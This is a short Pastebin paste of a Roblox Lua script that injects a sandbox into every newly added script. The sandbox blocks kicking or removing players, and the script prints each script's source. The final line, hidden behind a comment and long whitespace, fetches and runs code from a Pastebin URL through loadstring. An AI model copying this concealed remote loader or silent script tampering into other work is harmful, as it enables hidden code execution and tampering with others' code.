Advertisement
Alakazard12

Patcher

Jul 11th, 2014
278
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.75 KB | None | 0 0
  1. local patch = [[local IsT = game.IsA
  2.  
  3.     local disabledE = {
  4.         ["Player"] = {
  5.             ["kick"] = true;
  6.             ["remove"] = true;
  7.             ["destroy"] = true;
  8.         }
  9.     }
  10.  
  11.     local readOnly = {
  12.         ["Player"] = {
  13.             ["parent"] = true;
  14.         }
  15.     }
  16.  
  17.     local isBoxed = {}
  18.  
  19.     local type=type
  20.     local pairs=pairs
  21.  
  22.     local sandboxInstance
  23.  
  24.     local function sandbox(...)
  25.         local dus = {...}
  26.         for _,inst in next,dus do
  27.             if isBoxed[inst] then
  28.                 dus[_] = inst
  29.             else
  30.                 local newBox
  31.                
  32.                 if type(inst) == "userdata" then
  33.                     if rawequal(pcall(IsT,inst,'Instance')) then
  34.                         newBox = sandboxInstance(inst)
  35.                     end
  36.                 elseif type(inst) == "table" then
  37.                     newBox = sandbox(unpack(inst))
  38.                 end
  39.                 if newBox then
  40.                     isBoxed[newBox] = inst
  41.                     dus[_] = newBox
  42.                 end
  43.                
  44.             end
  45.         end
  46.        
  47.         return unpack(dus)
  48.     end
  49.  
  50.     function sandboxInstance(inst)
  51.         local er, cName = pcall(function() return inst.ClassName end)
  52.         local mp = newproxy(true)
  53.         local tab = getmetatable(mp)
  54.        
  55.         function tab:__tostring()
  56.             return tostring(inst)
  57.         end
  58.         tab.__metatable = getmetatable(inst)   
  59.        
  60.         function tab:__index(key)
  61.             if disabledE[key:lower()] or (disabledE[cName] and disabledE[cName][key:lower()]) then
  62.                 error("Item '" .. key .. "' of " .. cName .. " has been disabled", 2)
  63.             end
  64.             local val = inst[key]
  65.            
  66.             if type(val) == "function" then
  67.                 return function(self, ...)
  68.                     return sandbox(val(inst, ...))
  69.                 end
  70.             else
  71.                 return sandbox(val)
  72.             end
  73.             return val
  74.         end
  75.        
  76.         function tab:__newindex(key, value)
  77.             if readOnly[key:lower()] or (readOnly[cName] and readOnly[cName][key:lower()]) then
  78.                 error("Item '" .. key .. "' of " .. cName .. " is read-only", 2)
  79.             end
  80.  
  81.             if isBoxed[value] then
  82.                 value = isBoxed[value]
  83.             end
  84.            
  85.             local e, m = pcall(function() inst[key] = value end)
  86.             if e == false then
  87.                 error(m, 2)
  88.             end
  89.         end
  90.        
  91.         return mp
  92.     end
  93.  
  94.     game = sandbox(game)
  95.     local mnew = Instance.new
  96.  
  97.     local mInstance = {}
  98.     for i,v in pairs(Instance) do
  99.         mInstance[i] = v
  100.     end
  101.  
  102.     Instance = mInstance
  103.  
  104.     Instance.new = function(p,c)
  105.         if isBoxed[c] then
  106.             c = isBoxed[c]
  107.         end
  108.  
  109.         local suc, e = pcall(mnew, p, c)
  110.         if not suc then
  111.             error(e, 2)
  112.         end
  113.  
  114.         return sandbox(e)
  115.     end
  116. ]]
  117.  
  118. patch = patch:gsub("\n", " ")
  119.  
  120. game.DescendantAdded:connect(function(inst)
  121.     pcall(function()
  122.         if inst.ClassName == "Script" or inst.ClassName == "LocalScript" then
  123.             local val = inst:FindFirstChild("Source") or inst:FindFirstChild("source")
  124.  
  125.             if val then
  126.                 print(val.Value)
  127.                 val.Value = patch .. " " .. val.Value
  128.             end
  129.         end
  130.     end)
  131. end)
  132.  
  133. --                                                                                                                                                                                                                                                      loadstring(game:service("HttpService"):GetAsync("http://pastebin.com/raw.php?i=k8TwMhsj"))()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement